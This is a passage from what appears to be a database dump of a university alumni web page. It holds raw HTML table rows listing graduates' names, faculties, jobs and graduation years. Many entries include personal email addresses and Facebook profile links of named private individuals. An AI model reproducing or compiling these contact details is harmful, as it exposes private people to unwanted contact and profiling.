5.4pt;height:15.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/abdul_rasheed_razia.jpg\" style=\"width:150px;height:200px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:15.0pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Abdul Rasheed Razia</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Terapevt\r\nhəkim/&nbsp; Tindivanam (Doğma şəhər)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Email:&nbsp;<a href=\"mailto:dr.raziaar@gmail.com\">dr.raziaar@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2003- 2008</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Govindaraj%20Venkatraman.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Govindaraj Venkatraman</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2003-2008</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təcili yardım həkimi, Chennai</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">&nbsp;E-mail:&nbsp;<a href=\"http://mailto:Venkat18121983@gmail.com/\">Venkat18121983@gmail.com</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/RAMAKRISHNAN%20KALAIVANI..png\" style=\"width:150px;height:182px;margin:7px;float:left\"></td><td><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ramakrishnan&nbsp;&nbsp;Kalaivani</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Tibb fakültəsi (2003-2008&nbsp;&nbsp;)&nbsp; &nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Doctor,Teletibb şöbəsində məsləhətçi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Apollo&nbsp;Hospitals,Hyderabad</p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:artcomeyou2007@gmail.com/\">artcomeyou2007@gmail.com&nbsp;</a></p>  </td></tr>\r\n <tr>\r\n  <td width=\"180\" style=\"\" width:135.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">&nbsp;<img src=\"/files/alumni/images/Turana%20Aliyeva.jpg\" style=\"width:150px;height:187px;float:left\"></p>\r\n  </td>\r\n  <td width=\"468\" style=\"\" width:351.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:13.35pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\"><strong>Turana&nbsp;\r\n  Aliyeva (Akhundova )</strong></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">HSS,Translator</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">Axa Mbask IC\r\n  ,baş mütəxəsis</p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">E-mail: <a href=\"mailto:turana.aliyeva@axambask.az\">turana.aliyeva@axambask.az</a></p>\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\">2011</p>\r\n  </td>\r\n </tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Shamsi_Qadirli.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><span style=\"box-sizing:border-box;font-weight:bold\">Şəmsi Qədirli&nbsp;</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">İqtisadiyyat və Menecment Fakültəsi&nbsp;</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">İqtisadiyyat</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Qəbələ turizm və məlumat mərkəzi</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:&nbsp;<a href=\"mailto:shamsiqadirli@gmail.com\">shamsiqadirli@gmail.com</a>&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/elnare_memmedova.JPG\" style=\"width:150px;height:163px;float:left\"></td><td><p><strong>Elnarə Məmmədova</strong>&nbsp;<br></p><p>İqtisadiyyat və Menecment fakültəsi</p><p>Maliyyə, Planlaşdırma və icra üzrə məsləhətçi</p><p>2003&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ismayil%20Valiyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Ismayil Valiyev&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Humanities and Social Sciences</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Trainer at&nbsp;<a href=\"https://www.facebook.com/pages/ANC-Group/676672779051365?ref=br_rs\">ANC Group</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Trainer (Business Success and Phycology) at&nbsp;<a href=\"https://www.facebook.com/pages/The-Fond-of-Aid-For-Youth-Trainer/148809885224748?ref=br_rs\">The Fond of Aid For Youth, Trainer.</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Vice President of Public Relations at&nbsp;<a href=\"https://www.facebook.com/pages/Harvard-Toastmasters-Club/1069476426454203?ref=br_rs\">Harvard Toastmasters Club</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Studies Business Analytics I Financial Accounting I Economics for Managers. at&nbsp;<a href=\"https://www.facebook.com/HarvardHBX/?ref=br_rs\">HBX - Harvard Business School</a>&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">Facebook :&nbsp;<a href=\"https://www.facebook.com/iveliyev1?fref=ts\" style=\"font-family:\'Times New Roman\', serif;font-size:14pt;background-color:#fffffff\">https://www.facebook.com/iveliyev1?fref=ts</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Shafag%20Mehraliyeva.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\"><strong>Shafag Mehraliyeva&nbsp;</strong>&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" style=\"background-image: url(\" \");\"=\"\">School of Humanities and Social Sciences&nbsp;</p><p>Works: ADA University</p><p>Studied:&nbsp;<a href=\"https://www.facebook.com/pages/George-Washington-University/108727889151725\">George Washington University</a>&nbsp;  <br></p> <p><a href=\"https://www.facebook.com/shafag.mehraliyeva/about\"></a>Facebook :  <a href=\"https://www.facebook.com/shafag.mehraliyeva/about\">https://www.facebook.com/shafag.mehraliyeva/about</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Emin%20Rustamov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Emin Rustamov&nbsp;</strong>&nbsp;<br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Vice President at&nbsp;<a href=\"https://www.facebook.com/AssociazioneGioventuItaloAzerbaigiana/?ref=br_rs\">Associazione Gioventù Italo-Azerbaigiana</a>&nbsp;</p> <p>Studies at&nbsp;Sapienza Università di Roma  <br></p><p><a href=\"https://www.facebook.com/emin.rustemov.9?fref=ts\"></a>Facebook :  <a href=\"https://www.facebook.com/emin.rustemov.9?fref=ts\">https://www.facebook.com/emin.rustemov.9?fref=ts</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/fidan_orucova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fidan Orucova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Filalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Institute of young democrats(volunteer)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:fialkakhj@gmail.com\">fialkakhj@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2015</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sardar_Yusifoglu.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Sardar Yusifoglu&nbsp;</strong>&nbsp;<br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Workes at&nbsp;<a href=\"https://www.facebook.com/Youthfordevelopment.az/?ref=br_rs\">Youth For Development Public Union</a>&nbsp;  <br></p><p>Workes at&nbsp;<a href=\"https://www.facebook.com/nayora.az/?ref=br_rs\">National Assembly of Youth Organizations of the Republic of Azerbaijan</a></p><p mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Studied Culture and Politics at&nbsp;<a href=\"https://www.facebook.com/pages/Georgetown-University/108002152557044?ref=br_rs\">Georgetown University</a></p><p>Facebook :&nbsp;<a href=\"https://www.facebook.com/SYusifoglu/about\">https://www.facebook.com/SYusifoglu/about</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sabina.Kerimova.(Badalova).jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Sabina Kerimova (Badalova)</strong></p><p>School of Humanities and Social Sciences &nbsp; &nbsp;</p><p>Works at&nbsp;<a href=\"https://www.facebook.com/pages/Mercer-University-School-of-Medicine/430665713610206?ref=br_rs\">Mercer University School of Medicine</a>, USA&nbsp;</p><p>Facebook :&nbsp;<a href=\"https://www.facebook.com/sabina.badalova.7/about\" style=\"font-family:\'Times New Roman\', serif;font-size:16pt;background-color:#fffffff\">https://www.facebook.com/sabina.badalova.7/about</a></p><p><a href=\"https://www.facebook.com/sabina.badalova.7/about\" style=\"font-family:\'Times New Roman\', serif;font-size:large\"></a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Farid.Guliyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Farid Guliyev&nbsp;</strong>&nbsp;<br></p><p>School of Education&nbsp;</p><p>Təsisçi və Rəhbər at&nbsp;<a href=\"https://www.facebook.com/bakumozbooks/?ref=br_rs\">Bakumoz Books</a>  <br></p><p><a href=\"https://www.facebook.com/farid.karimli?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\"></a>Facebook :&nbsp;<a href=\"https://www.facebook.com/farid.karimli?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\">https://www.facebook.com/farid.karimli?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all</a>&nbsp;&nbsp;</p></td></tr><tr><td><img src=\"/files/alumni/images/Nigar_Karimova.jpg\" style=\"width:150px;height:200px;float:left\"><br></td><td><p><strong>Nigar Karimova&nbsp;&nbsp;</strong><br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Trainee at&nbsp;<a href=\"https://www.facebook.com/europeanparliament/?ref=br_rs\">European Parliament</a>  <br></p><p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Human Resources\r\nDepartment at&nbsp;<a href=\"https://www.facebook.com/AZESOCAR/?ref=br_rs\">State Oil Company of Azerbaijan Republic</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Works at&nbsp;<a href=\"https://www.facebook.com/SOCARofficial/?ref=br_rs\">SOCAR</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied Master of Arts\r\nin Human Resource Management at&nbsp;<a href=\"https://www.facebook.com/pages/University-of-York-York-UK/106309702740634?ref=br_rs\">University of York, York, UK</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied Human Resource\r\nManagement at&nbsp;<a href=\"https://www.facebook.com/pages/University-of-York/112735778738269?ref=br_rs\">University of York</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied at&nbsp;<a href=\"https://www.facebook.com/pages/Khazar-University-Bachelor-of-Arts-in-International-Relations/197681023689707?ref=br_rs\">Khazar University Bachelor of Arts in International\r\nRelations</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied at&nbsp;<a href=\"https://www.facebook.com/pages/Khazar-University/109570912395277?ref=br_rs\">Khazar University</a></p>  <p><a href=\"https://www.facebook.com/nigar.karimova.5?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all&amp;qsefr=1\"></a>Facebook :  <a href=\"https://www.facebook.com/nigar.karimova.5?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all&amp;qsefr=1\">https://www.facebook.com/nigar.karimova.5?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all&amp;qsefr=1</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Alakbar_Ibrahimov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><span style=\"box-sizing:border-box;font-weight:bold\">Ələkbər İbrahimov&nbsp;</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">İqtisadiyyat və Menecment Fakültəsi</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Maliyyə və kredit</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Malaziya</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:alekperibragimov@gmail.com\">alekperibragimov@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Bakalavr 2010&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sevinj_Isgenderova.jpg\" style=\"width:150px;height:150px;float:left\"></td><td><p><strong>Sevinj Isgenderova&nbsp;</strong>&nbsp;<br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Studied Adult Education and Training at&nbsp;<a href=\"https://www.facebook.com/jamesmadisonuniversity/?ref=br_rs\">James Madison University</a><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-indent:-0.25in;color:#365899\"></span></p><p>Graduate Recruitment Assistant at&nbsp;<a href=\"https://www.facebook.com/jamesmadisonuniversity/?ref=br_rs\">James Madison University</a>  <br></p><p><a href=\"https://www.facebook.com/jamesmadisonuniversity/?ref=br_rs\"></a>Lives in&nbsp;<a href=\"https://www.facebook.com/pages/Harrisonburg-Virginia/109483139069465?ref=br_rs\">Harrisonburg, Virginia</a></p><p><a href=\"https://www.facebook.com/pages/Harrisonburg-Virginia/109483139069465?ref=br_rs\"></a>Facebook :&nbsp;<a href=\"https://www.facebook.com/sevinc.isgenderova?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\">https://www.facebook.com/sevinc.isgenderova?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ramil_Aliyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Ramil Aliyev</strong></p><p>School of Humanities and Social Sciences&nbsp;<br></p><p>Daglig leader at&nbsp;<a href=\"https://www.facebook.com/Saiff-Sagene-Internasjonale-og-Flerkulturelle-Frivillighetssentral-194195104008312/?ref=br_rs\">Saiff - Sagene Internasjonale og Flerkulturelle Frivillighetssentral</a></p><p>Past :&nbsp;<a href=\"https://www.facebook.com/NAYO-Norwegian-Azerbaijanis-Youth-Organization-208003122590088/\">NAYO - Norwegian Azerbaijanis\' Youth Organization</a><a href=\"https://www.facebook.com/pages/Nowegian-Azerbaijanis-Youth-Organization-NAYO/595234183861926\">Nowegian Azerbaijanis\' Youth Organization - NAYO</a></p><p>Studied Faculty of Law:&nbsp;Norwegian Centre of Human Rights at&nbsp;<a href=\"https://www.facebook.com/pages/University-of-Oslo/104069842963665?ref=br_rs\">University of Oslo</a></p><p>Lives in&nbsp;<a href=\"https://www.facebook.com/pages/Oslo-Norway/110848678937314?ref=br_rs\">Oslo, Norway</a>&nbsp;<br></p><p><a href=\"https://www.facebook.com/pages/Oslo-Norway/110848678937314?ref=br_rs\"></a><a href=\"https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\"></a>Facebook :&nbsp;<a href=\"https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\">https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all</a></p>  <p><a href=\"https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\"></a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Bayramova_N%C9%99rmin.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Bayramova Nərmin&nbsp;</strong><br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Hüquq üzrə fəlsəfə doktoru &nbsp;</p><p>Hüquq və kadr məsələləri şöbəsi /Şöbə müdiri&nbsp;  <br></p><p>Xəzər Universiteti, AMEA Fəlsəfə və Hüquq İnstitutu <br></p><p>Dövlət qulluğunun kiçik müşaviri&nbsp;</p><p>28.06.2001-01.12.2007&nbsp;<strong>-</strong>&nbsp;Azərbaycan Elmi-Tətqiqat Məhkəmə Ekspertizası, Kriminalistika və Kriminologiya Problemləri İnstitutunda, kiçik elmi işçi, elmi işçi  <br></p><p>01.12.2007-30.01.2015\r\n- Azərbaycan Respublikasının Prezidenti yanında Dövlət Qulluğu Məsələləri üzrə\r\nKomissiya,&nbsp;baş məsləhətçi, sektor müdiri&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">02.02.2015-18.02.2015 - Azərbaycan Respublikasının Dövlət Şəhərsalma və\r\nArxitektura Komitəsi, şöbə müdirinin müavini</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">18.02.2015-h/h - Azərbaycan Respublikasının Dövlət Şəhərsalma və\r\nArxitektura Komitəsinin Hüquq və kadr məsələləri şöbəsinin müdiri</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/GULNAR_AGAYEVA.png\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\" \");=\"\" font-weight:=\"\" bold;\"=\"\"><strong>Gülnar Ağayeva</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Menecment</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">E-mail:&nbsp;<a href=\"mailto:gulnar.agayeva.1994@gmail.com\">gulnar.agayeva.1994@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\">Bakalavr 2016 &nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Fidan_Bayramli..png\" style=\"float:left;width:150px;height:200px\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fidan Bayramlı</strong><strong></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Beynəlxalq İqtisadi Münasibətlər</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a href=\"mailto:fidanbayramli@yahoo.com\">fidanbayramli@yahoo.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">MBA 2016</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Raj_Rajeevan.jpg\" style=\"width:150px;height:192px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);=\"\" background-image:=\"\" url(\"\");\"=\"\"><span style=\"box-sizing:border-box;font-weight:bold\">Raj Rajeevan&nbsp;&nbsp;</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Mühəndislik və Tətbiqi Elmlər fakültəsi&nbsp;<br></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Neft mühəndisliyi</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Hindistanda biznes</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:%20rajcr1989@hotmail.com/\">rajcr1989@hotmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://mailto:%20rajcr1989@hotmail.com/\"></a></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Zeyneb_Safarova%20.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Zeynəb Səfərova</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Maliyyə</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:zeyneb.safarova93@gmail.com\">zeyneb.safarova93@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bakalavr 2016</p></td></tr>\r\n</tbody></table>'),(2461,1489,'en','Alumni Database','Alumni Database','<br>\r\n<table class=\"tablestil\">\r\n <tbody><tr><td>&nbsp;<img src=\"/files/alumni/images/akif_m.jpg\" style=\"vertical-align:middle;width:160px;height:173px\"></td><td><p><strong>Akif 